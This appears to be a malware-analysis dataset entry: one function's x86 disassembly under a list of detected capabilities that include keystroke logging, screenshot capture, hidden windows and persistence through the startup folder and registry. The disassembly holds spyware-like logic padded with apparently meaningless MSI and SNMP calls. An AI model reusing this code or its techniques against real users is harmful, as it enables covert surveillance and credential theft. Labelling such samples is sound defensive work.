Function at 0x4022a0
Capabilities:
Capture screenshot
Check for foreground window switch
Get common file path
Get startup folder
Hide graphical window
Initialize winsock library
Log keystrokes
Log keystrokes via application hook
Log keystrokes via polling
Manipulate console buffer
Open clipboard
Print debug messages
Query environment variable
Read file on windows
Set current directory
Set registry value
Write clipboard data
Write file on windows
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1a8c
call fcn.00407410
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor esi, esi
push 1
mov dword [ebp - 0x14], 0xf9
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x2c], esi
mov dword [0x462fc8], eax
mov dword [ebp - 0x70c], eax
call sub.IMM32.dll_ImmGetOpenStatus
inc dword [0x462fc0]
mov ebx, eax
mov dword [ebp - 0x30], ebx
cmp ebx, esi
jge 0x4022f1
mov dword [ebp - 0x14], 0x27d
mov dword [ebp - 0x30], esi
mov ebx, esi
jmp 0x4022f8
mov dword [ebp - 0x2c], 0x23b
mov esi, dword [sym.imp.USER32.dll_SendMessageA]
mov edi, dword [sym.imp.USER32.dll_GetParent]
or eax, 0xffffffff
sub eax, ebx
add dword [0x462fc4], eax
test ebx, ebx
je 0x4027e3
xor eax, eax
lea ecx, [ebp - 0xd0]
push ecx
push str.float
push eax
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], eax
call dword [sym.imp.USER32.dll_GetClassInfoW]
test eax, eax
je 0x4023ae
push str.user32
mov dword [ebp - 0xac], str.float
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
mov dword [ebp - 0xc0], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
lea edx, [ebp - 0xd0]
push edx
mov dword [ebp - 0xb4], eax
call dword [sym.imp.USER32.dll_RegisterClassW]
test ax, ax
je 0x4023ae
mov dword [ebp - 0x14], 0
cmp ebx, 0xf
jne 0x402417
lea eax, [ebp - 0xe8]
push eax
push 0
call dword [sym.imp.USER32.dll_BeginPaint]
push 0
lea ecx, [ebp - 0xa58]
push ecx
push 0x14
mov esi, eax
push 0x14
push esi
call dword [sym.imp.GDI32.dll_TextOutW]
push 0
push 0x28
push 0x14
push esi
call dword [sym.imp.GDI32.dll_MoveToEx]
push 0x28
push 0x78
push esi
call dword [sym.imp.GDI32.dll_LineTo]
push 6
push str.window
push 0x3c
push 0x14
push esi
call dword [sym.imp.GDI32.dll_TextOutW]
lea edx, [ebp - 0xe8]
push edx
push 0
call dword [sym.imp.USER32.dll_EndPaint]
mov esi, dword [sym.imp.USER32.dll_SendMessageA]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x14]
push eax
push ecx
push ebx
push 0
call dword [sym.imp.USER32.dll_DefWindowProcA]
push 0xfffffffffffffff4
push 0
mov dword [ebp - 0xd8], 0
call dword [sym.imp.USER32.dll_GetWindowLongA]
lea edx, [ebp - 0xd8]
push edx
push 0xfffffffffffffff4
push 0x4e
push 0
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0xd0], 0xfffffff4
mov dword [ebp - 0xc8], 1
mov dword [ebp - 0xcc], 3
call edi
push eax
call esi
test al, 4
jne 0x40249b
test al, 0x40
je 0x40249b
mov ecx, dword [ebp - 0xd0]
lea eax, [ebp - 0xd8]
push eax
push ecx
push 0x4e
push 0
mov dword [ebp - 0xcc], 4
call edi
push eax
call esi
lea edx, [ebp - 0xc4]
push edx
push 0
mov dword [ebp - 0xcc], 1
call dword [sym.imp.USER32.dll_GetClientRect]
mov ecx, dword [ebp - 0xd0]
lea eax, [ebp - 0xd8]
push eax
push ecx
push 0x4e
push 0
call edi
push eax
call esi
mov edx, eax
and edx, 4
or dl, 8
jne 0x4024fa
test al, 0x10
je 0x4024fa
mov ecx, dword [ebp - 0xd0]
lea eax, [ebp - 0xd8]
push eax
push ecx
push 0x4e
push 0
mov dword [ebp - 0xcc], 4
call edi
push eax
call esi
cmp ebx, 0xf
je 0x4025c6
cmp ebx, 0x14
je 0x4025bb
cmp ebx, 0x318
je 0x4025ac
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
push edx
push eax
push ebx
push 0
call dword [sym.imp.USER32.dll_DefWindowProcA]
mov ecx, dword [ebp + 8]
push 0x10
push ecx
call sub.msi.dll_MsiGetProductInfoFromScriptA
cmp eax, 1
jne 0x4027b0
push 3
call sub.msi.dll_MsiDatabaseExportA
push 3
mov edi, eax
call sub.msi.dll_MsiDatabaseExportA
push 0x41a284
push 1
push edi
mov esi, eax
call sub.msi.dll_MsiReinstallFeatureFromDescriptorW
push str.Progress
push 2
push edi
call sub.msi.dll_MsiReinstallFeatureFromDescriptorW
push str.tick
push 3
push edi
call sub.msi.dll_MsiReinstallFeatureFromDescriptorW
mov edx, dword [ebp + 8]
push edi
push 0x8000000
push edx
call sub.msi.dll_MsiProvideComponentW
cmp eax, 2
jne 0x4025ef
test esi, esi
je 0x402594
push esi
call sub.msi.dll_MsiConfigureFeatureFromDescriptorA
test edi, edi
je 0x40259e
push edi
call sub.msi.dll_MsiConfigureFeatureFromDescriptorA
mov eax, 0x642
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
lea ecx, [ebp - 0x140]
push ecx
push 0
call dword [sym.imp.USER32.dll_GetClientRect]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
lea edx, [ebp - 0xe8]
push edx
push 0
call dword [sym.imp.USER32.dll_BeginPaint]
lea eax, [ebp - 0xe8]
push eax
push 0
call dword [sym.imp.USER32.dll_EndPaint]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 1
push 1
push esi
call sub.msi.dll_MsiRecordSetStringW
push 1
push 2
push esi
call sub.msi.dll_MsiRecordSetStringW
push 0
push 3
push esi
call sub.msi.dll_MsiRecordSetStringW
mov eax, dword [ebp + 8]
push esi
push 0xa000000
push eax
call sub.msi.dll_MsiProvideComponentW
cmp eax, 2
jne 0x402647
test esi, esi
je 0x40262b
push esi
call sub.msi.dll_MsiConfigureFeatureFromDescriptorA
test edi, edi
je 0x40259e
push edi
call sub.msi.dll_MsiConfigureFeatureFromDescriptorA
mov eax, 0x642
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 2
push 1
push esi
call sub.msi.dll_MsiRecordSetStringW
push 0x2710
push 2
push esi
call sub.msi.dll_MsiRecordSetStringW
push 0
push 3
push esi
call sub.msi.dll_MsiRecordSetStringW
push 0x186a0
push 2
push edi
call sub.msi.dll_MsiRecordSetStringW
mov dword [ebp - 0x24], 0
lea esp, [esp]
mov ecx, dword [ebp - 0x24]
push ecx
push 1
push edi
call sub.msi.dll_MsiRecordSetStringW
mov edx, dword [ebp + 8]
push edi
push 0x9000000
push edx
call sub.msi.dll_MsiProvideComponentW
cmp eax, 2
je 0x402764
mov eax, dword [ebp + 8]
push esi
push 0xa000000
push eax
call sub.msi.dll_MsiProvideComponentW
cmp eax, 2
je 0x40278a
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x24]
add eax, 0x2710
mov dword [ebp - 0x24], eax
cmp eax, 0x186a0
jb 0x402680
test esi, esi
je 0x4026e3
push esi
call sub.msi.dll_MsiConfigureFeatureFromDescriptorA
test edi, edi
je 0x4026ed
push edi
call sub.msi.dll_MsiConfigureFeatureFromDescriptorA
mov edi, ebx
xor eax, eax
lea ecx, [ebp - 0xa8]
push ecx
lea edx, [ebp - 0x40]
push edx
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x70c], ebx
mov byte [ebp - 0xa8], bl
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], eax
mov byte [ebp - 0x40], bl
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
call sub.snmpapi.dll_SnmpUtilAsnAnyCpy
cmp dword [0x462fc0], 0
mov dword [ebp - 0x20], eax
jne 0x402742
movzx eax, byte [ebp - 0x2c]
inc eax
mov dword [ebp - 0x14], eax
lea eax, [ebx + 1]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x70c], eax
test ebx, ebx
jne 0x4027f0
lea eax, [ebp - 0x40]
mov dword [ebp - 0x54], eax
jmp 0x4027f3
test esi, esi
je 0x40276e
push esi
call sub.msi.dll_MsiConfigureFeatureFromDescriptorA
test edi, edi
je 0x40259e
push edi
call sub.msi.dll_MsiConfigureFeatureFromDescriptorA
mov eax, 0x642
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
test esi, esi
je 0x402794
push esi
call sub.msi.dll_MsiConfigureFeatureFromDescriptorA
test edi, edi
je 0x40259e
push edi
call sub.msi.dll_MsiConfigureFeatureFromDescriptorA
mov eax, 0x642
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 2
call sub.msi.dll_MsiDatabaseExportA
push 3
mov esi, eax
push 1
push esi
call sub.msi.dll_MsiRecordSetStringW
push 0x186a0
push 2
push esi
call sub.msi.dll_MsiRecordSetStringW
test esi, esi
je 0x4026ed
push esi
call sub.msi.dll_MsiConfigureFeatureFromDescriptorA
jmp 0x4026ed
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x4026ef
mov dword [ebp - 0x54], ebx
movzx ecx, di
add ecx, ebx
xor eax, eax
test ecx, ecx
jle 0x40282b
mov edx, dword [ebp - 0x138]
lea esi, [edx + ebx - 1]
mov edx, dword [ebp - 0x2c]
add edx, dword [ebp + 0x14]
imul esi, edx
mov edx, dword [ebp - 0x14]
cmp ebx, esi
je 0x402820
movzx edi, al
cmp ebx, edi
jne 0x402820
inc edx
inc eax
cmp eax, ecx
jl 0x402814
mov edi, dword [ebp - 0x4c]
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x20], ebx
je 0x40283f
mov byte [ebp - 0x54], bl
test ebx, ebx
jne 0x40283f
mov eax, dword [ebp - 0x54]
mov dword [0x462fd8], eax
cmp dword [0x462fd8], 0
je 0x4025bb
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
add edi, 0x777
mov dword [ebp - 0x4c], edi
test ebx, ebx
jne 0x40287f
mov dword [0x462fd0], edi
mov ecx, dword [ebp + 8]
push 0x144
lea edx, [ebp - 0xda4]
push 0
push edx
mov dword [ebp - 8], ecx
mov dword [ebp - 0xda8], 0
call fcn.00406400
add esp, 0xc
mov esi, ebx
sub esi, dword [0x462fc0]
push str.Index
add esi, 0x1a
push 0
mov dword [ebp - 0x2c], esi
call dword [sym.imp.USER32.dll_SetWindowTextA]
mov dword [ebp - 0x158], 8
test esi, esi
jns 0x4028db
mov eax, dword [ebp - 0x54]
sub eax, ebx
add eax, dword [ebp + 0x14]
mov dword [ebp - 8], eax
jmp 0x4028f9
mov eax, dword [ebp + 0x14]
lea ecx, [ebx + eax]
cmp edi, ecx
jb 0x4028f9
lea edx, [esi + esi*4 + 0xa]
add edx, edx
sub edx, ebx
add edx, dword [0x462fd4]
mov dword [0x462fc0], edx
lea eax, [ebp - 0xda8]
push eax
call dword [sym.imp.GDI32.dll_CreateColorSpaceA]
lea ecx, [ebp - 0x158]
push ecx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x154], 4
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov edx, dword [0x462fc0]
mov eax, dword [ebp - 0x54]
mov esi, dword [0x462fcc]
add esi, dword [0x462fd8]
add edx, ebx
lea edi, [eax + edx*4]
lea eax, [ebp - 0x168]
push eax
push 0
call dword [sym.imp.USER32.dll_GetClientRect]
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x160]
mov eax, dword [ebp - 0x15c]
push 0
push ecx
mov ecx, dword [ebp - 0x168]
push ebx
push 0
push 0x14
push edx
add eax, 0xffffffec
push eax
push ecx
push 0x50800000
push 0
push str.msctls_statusbar32
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
test eax, eax
jne 0x40298d
push 2
push eax
call dword [sym.imp.ole32.dll_CoInitializeEx]
mov edx, dword [ebp - 8]
mov eax, dword [0x462fcc]
add edx, esi
add edx, eax
add edx, dword [ebp - 0x14]
lea ecx, [edi + esi]
add ecx, eax
cmp edx, ecx
jbe 0x4029b7
lea edx, [ebp - 0x74c]
push edx
push 0
call dword [sym.imp.USER32.dll_BeginPaint]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov ecx, dword [0x462fcc]
mov edx, dword [0x462fd4]
mov esi, eax
add edx, ebx
lea eax, [edi + ecx]
mov ecx, dword [0x462fc0]
imul eax, edx
add ecx, ebx
imul eax, ecx
lea edx, [eax + eax*2]
add edx, edx
push ebx
add edx, edx
push esi
mov dword [0x462fc4], edx
call dword [sym.imp.GDI32.dll_SelectObject]
mov edi, eax
lea eax, [ebp - 0x2fc]
push eax
push 0x18
push ebx
call dword [sym.imp.GDI32.dll_GetObjectA]
mov ecx, dword [ebp - 0x2f4]
mov edx, dword [ebp - 0x2f8]
push 0xcc0020
push 0
push 0
push esi
push ecx
lea eax, [ebx*4]
sub eax, dword [ebp - 0x1c]
push edx
add eax, 0xa
push 0
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
push 0
push eax
mov dword [0x462fd4], edi
call dword [sym.imp.GDI32.dll_BitBlt]
push edi
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
push esi
call dword [sym.imp.GDI32.dll_DeleteDC]
lea ecx, [ebp - 0x74c]
push ecx
push 0
call dword [sym.imp.USER32.dll_EndPaint]
test ebx, ebx
je 0x402b25
lea edx, [ebp - 0x504]
push edx
lea eax, [ebp - 0x608]
push eax
lea ecx, [ebp - 0xc58]
push ecx
call fcn.0040737a
add esp, 0xc
push 0
push 0
push 4
push 0
push 0
push 0x40000000
lea edx, [ebp - 0x70c]
push edx
mov dword [ebp - 0x70c], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 2
push 0
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 0x144]
push eax
call fcn.004072da
lea ecx, [ebp - 0xc58]
push ecx
lea edx, [ebp - 0x144]
push edx
push str._s:_s_n
lea eax, [ebp - 0x4fc]
push 0x200
push eax
mov byte [ebp - 0x13c], 0x20
call fcn.00406678
lea eax, [ebp - 0x4fc]
add esp, 0x18
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402b00
push 0
lea ecx, [ebp - 0x20]
push ecx
sub eax, edx
push eax
lea edx, [ebp - 0x4fc]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
sub eax, 2
je 0x402bc9
sub eax, 0xe
je 0x402bbd
sub eax, 0x100
jne 0x402bd1
mov esi, dword [ebp - 0x1c]
mov eax, 0x10
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x40]
push eax
push esi
mov dword [ebp - 0x38], 0x12c
mov dword [ebp - 0x34], 0xc8
call dword [sym.imp.USER32.dll_MapDialogRect]
mov ecx, dword [0x462fc4]
push ecx
push esi
call dword [sym.imp.USER32.dll_GetDlgItem]
mov edi, eax
test esi, esi
je 0x402ba6
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x3c]
push edx
mov edx, dword [ebp - 0x40]
push eax
push ecx
push edx
lea eax, [ebp - 0x70c]
push eax
lea ecx, [ebp - 0x2e4]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea edx, [ebp - 0x2e4]
push edx
push edi
call dword [sym.imp.USER32.dll_SetWindowTextA]
push esi
call dword [sym.imp.USER32.dll_DestroyWindow]
jmp 0x402bd1
mov esi, dword [ebp - 0x1c]
push esi
call dword [sym.imp.USER32.dll_DestroyWindow]
jmp 0x402bd1
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
lea eax, [ebp - 0x608]
push 0x41a248
push eax
mov dword [ebp - 0x608], ebx
call fcn.0040720b
mov edi, eax
add esp, 8
test edi, edi
je 0x402cdc
push 2
push 0
push edi
call fcn.004070d3
push edi
call fcn.00406fe4
add esp, 0x10
push eax
push 2
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x402cd5
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 0x20], eax
push edi
test eax, eax
jne 0x402c3a
call fcn.00406ddc
add esp, 4
jmp 0x402cd5
call fcn.00406cb1
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x20]
push edi
push 1
push ecx
push edx
call fcn.00406c94
add esp, 0x14
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push edi
call fcn.00406ddc
add esp, 4
lea eax, [ebp - 0x24]
push eax
push 1
push esi
mov dword [ebp - 0x24], 0
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
test eax, eax
js 0x402cd5
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0x10]
push ecx
push 0x41a2d8
xor edi, edi
push edi
push edx
push eax
mov dword [ebp - 0x10], edi
call dword [sym.imp.OLEAUT32.dll_OleCreatePictureIndirect]
test eax, eax
js 0x402cca
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x20]
mov dword [ebp - 0x20], edi
mov dword [ebp - 8], edi
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x18]
call eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
lea edx, [ebp - 8]
push edx
push eax
mov eax, dword [ecx + 0x1c]
call eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0x10
push 0
push 0
mov esi, eax
push 0
lea eax, [ebp - 0x70c]
push eax
push 0
mov dword [ebp - 0x20], esi
call dword [sym.imp.USER32.dll_LoadImageA]
push eax
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
mov edi, dword [ebp - 0x98]
mov eax, edi
mov dword [ebp - 8], eax
test eax, eax
je 0x402d44
push 0
call dword [sym.imp.USER32.dll_GetDC]
mov ecx, dword [ebp - 0x20]
push 0x10
push 0
push 0
push ecx
push edi
push edi
push edi
mov esi, eax
push edi
push esi
call dword [sym.imp.GDI32.dll_BitBlt]
push esi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
dec dword [ebp - 8]
jne 0x402d17
xor eax, eax
xor edi, edi
push 0x103
lea edx, [ebp - 0x26b]
push edi
push edx
mov dword [ebp - 8], edi
mov dword [ebp - 0x18], 1
mov dword [ebp - 0xd0], edi
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], eax
mov byte [ebp - 0x26c], al
call fcn.00406400
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x1c]
add esp, 0xc
push edi
push eax
push edi
push ecx
push 0x1e
push edi
push edi
push edi
push 0x5000000c
push edi
push str.ToolbarWindow32
push 0x20000
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov esi, eax
mov dword [ebp - 0x24], esi
cmp esi, edi
je 0x402ea2
push str.Negotiate
push 0x400
push 0x462ff8
call fcn.004069eb
add esp, 0xc
lea edx, [ebp - 0x48c]
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x402e1e
push str.Could_not_initialize_winsock:__n
call fcn.00406836
add eax, 0x40
push eax
call fcn.0040672a
add esp, 8
lea eax, [ebp - 0x20]
push eax
push 0x462ff8
call sub.Secur32.dll_QuerySecurityPackageInfoA
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + 8]
push eax
mov dword [0x462ff0], ecx
call sub.Secur32.dll_FreeContextBuffer
mov edi, dword [0x462ff0]
push edi
call fcn.00406696
push edi
mov dword [0x462fec], eax
call fcn.00406696
add esp, 8
cmp dword [0x462fec], 0
mov dword [0x462fe8], eax
je 0x402e6a
test eax, eax
jne 0x402e80
push str.Memory_allocation_error._n
call fcn.00406836
add eax, 0x40
push eax
call fcn.0040672a
add esp, 8
mov edi, dword [ebp - 0x1c]
test ebx, ebx
je 0x402e9c
lea edx, [ebp - 0x140]
push edx
push 0
lea eax, [ebp - 0xa0]
push eax
call sub.Secur32.dll_QueryContextAttributesA
test edi, edi
jne 0x402e83
jmp 0x402f0d
xor ecx, ecx
push 0xfffffffffffffff5
mov dword [ebp - 0x10], ecx
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, eax
lea eax, [ebp - 0x6c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movsx edi, word [ebp - 0x6a]
movsx ecx, word [ebp - 0x6c]
mov eax, dword [ebp - 0x10]
imul edi, ecx
lea edx, [ebp - 0x20]
push edx
push eax
push edi
push 0x20
push esi
mov dword [ebp - 0x18], 0x1000
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
lea ecx, [ebp - 0x6c]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x64]
lea edx, [ebp - 0x20]
push edx
push eax
push edi
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
mov edx, dword [ebp - 0x10]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov esi, dword [ebp - 0x24]
push 0
push 0x14
push 0x41e
push esi
call dword [sym.imp.USER32.dll_SendMessageA]
test ebx, ebx
je 0x402f4e
mov eax, dword [0x462fcc]
mov edx, dword [0x462fc0]
add eax, 0x10
imul eax, dword [ebp - 0x18]
mov ecx, eax
shl ecx, 4
sub ecx, eax
inc dword [0x462fc4]
lea eax, [edx + ecx*8 - 0x400]
mov dword [0x462fc0], eax
jmp 0x402f78
mov eax, dword [0x462fd4]
mov ecx, dword [0x462fc4]
add eax, 0x25
imul eax, dword [ebp - 0x18]
push str.kernel32
lea edx, [ebp - 0x26c]
push edx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov esi, dword [sym.imp.USER32.dll_GetFocus]
call esi
mov dword [ebp - 0x20], eax
call esi
push eax
call sub.IMM32.dll_ImmGetContext
mov edi, eax
push edi
call sub.IMM32.dll_ImmGetOpenStatus
neg eax
sbb eax, eax
inc eax
push eax
push edi
call sub.IMM32.dll_ImmSetOpenStatus
mov esi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
imul esi, esi, 0x49
push edi
push eax
add esi, ebx
call sub.IMM32.dll_ImmReleaseContext
push 0x41a1d8
lea ecx, [ebp - 0x26c]
xor edi, edi
push ecx
mov dword [ebp - 0xc4], edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc0], edi
cmp dword [ebp - 0x1c], edi
jne 0x403013
mov ecx, dword [ebp + 0x14]
lea edx, [ecx + 1]
imul edx, ecx
mov ecx, dword [0x462fc0]
add ecx, dword [ebp - 0x4c]
mov dword [0x462fc4], edx
lea edi, [ebx + ecx*2]
add edi, ecx
shl edi, 4
mov dword [ebp - 0x20], edi
mov edi, dword [ebp - 0x14]
lea edx, [ebx + ebx*2 + 0x40]
imul edx, dword [ebp - 0x18]
add edi, dword [ebp - 0x20]
mov dword [ebp - 0x14], edi
jmp 0x403018
mov edx, edi
mov edi, dword [ebp - 0x14]
mov dword [ebp - 0xbc], 1
mov dword [ebp - 0xb8], ebx
test ebx, ebx
jne 0x403046
mov ecx, dword [ebp - 8]
push esi
push ecx
push edx
mov byte [ebp - 0xb4], 4
call eax
mov dword [ebp - 8], eax
mov byte [ebp - 0xb3], bl
jmp 0x40306c
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0xd0]
push edx
push 2
push 0x414
xor esi, esi
push eax
mov dword [ebp - 0xac], esi
call dword [sym.imp.USER32.dll_SendMessageA]
mov dword [ebp - 0xb0], esi
mov eax, dword [0x462fd4]
mov ecx, dword [ebp - 0x2c]
lea edx, [ebp - 0x2c0]
push edx
push eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x44], ecx
call dword [sym.imp.USER32.dll_BeginPaint]
mov esi, eax
push esi
call dword [sym.imp.GDI32.dll_SaveDC]
push 0x5a
push esi
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0x103
lea eax, [ebp - 0x607]
push 0
push eax
mov byte [ebp - 0x608], bl
call fcn.00406400
lea ecx, [ebp - 0x608]
push ecx
lea edx, [ebp - 0x440]
push str.Save_current_changes_in__s_
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
test ebx, ebx
jne 0x4030de
cmp dword [0x462fd4], ebx
je 0x4030fa
mov edx, dword [ebp - 0x1c]
push 0x23
lea eax, [ebp - 0x70c]
push eax
lea ecx, [ebp - 0x440]
push ecx
push edx
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x4030fd
mov eax, dword [ebp + 8]
cmp eax, 6
jne 0x403114
mov eax, dword [ebp - 0x1c]
push 0
push edi
push 0x111
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
push 0x41a1b8
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x1f4
push 0
push 0
push 0
push 0x5a
push esi
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov ecx, eax
imul ecx, ecx, 0x2d0
mov eax, 0x38e38e39
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov dword [ebp - 0x20], ecx
fild dword [ebp - 0x20]
fabs
fdiv qword [0x41a1b0]
fadd qword [0x41a1a8]
call fcn.00407440
neg eax
push eax
call dword [sym.imp.GDI32.dll_CreateFontA]
push eax
push esi
mov dword [0x462fe4], eax
call dword [sym.imp.GDI32.dll_SelectObject]
push 2
push 0x41a1a4
push 0x64
push 0x64
push esi
call dword [sym.imp.GDI32.dll_TextOutA]
mov ecx, dword [0x462fcc]
test edi, edi
je 0x4031c0
mov eax, dword [ebp - 0x1c]
add eax, ecx
add edi, eax
mov dword [ebp - 0x14], edi
je 0x4031c0
add edi, eax
mov dword [ebp - 0x14], edi
je 0x4031c0
add edi, eax
mov dword [ebp - 0x14], edi
je 0x4031c0
add edi, eax
mov dword [ebp - 0x14], edi
lea eax, [ecx + 0x13]
lea edx, [ebx + 2]
imul eax, edx
shl eax, 0x14
mov dword [ebp - 0x2c], eax
test edi, edi
jne 0x4031db
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
jmp 0x4031e5
mov edx, dword [ebp - 0x1c]
add edx, ecx
add edi, edx
mov dword [ebp - 0x14], edi
mov eax, dword [0x462fe4]
push eax
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
mov ecx, dword [str.Heap]
mov dl, byte [0x41a1a0]
push 0xff
lea eax, [ebp - 0x84b]
push 0
push eax
mov dword [ebp - 0x850], ecx
mov byte [ebp - 0x84c], dl
call fcn.00406400
mov ecx, dword [0x462fc4]
add ecx, 0xa
add esp, 0xc
cmp dword [ebp - 0x1c], ecx
je 0x403249
push str.Alloc
lea edx, [ebp - 0x850]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x40325b
push str.ReAlloc
lea eax, [ebp - 0x850]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0xffffffffffffffff
push esi
call dword [sym.imp.GDI32.dll_RestoreDC]
lea ecx, [ebp - 0x850]
push ecx
push str.kernel32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x103
lea edx, [ebp - 0x607]
push 0
push edx
mov edi, eax
mov byte [ebp - 0x608], bl
call fcn.00406400
push 0x143
lea eax, [ebp - 0x43f]
push 0
push eax
mov byte [ebp - 0x440], bl
call fcn.00406400
mov edx, dword [ebp - 0x1c]
add esp, 0x18
lea ecx, [ebp - 0x440]
push ecx
push edx
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 0x143
lea eax, [ebp - 0x43f]
push 0
push eax
mov byte [ebp - 0x440], bl
call fcn.00406400
lea ecx, [ebp - 0x608]
push ecx
lea edx, [ebp - 0xeac]
push edx
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
test ebx, ebx
je 0x40331a
mov eax, dword [ebp - 0x1c]
push 0x30
lea ecx, [ebp - 0x108c]
push ecx
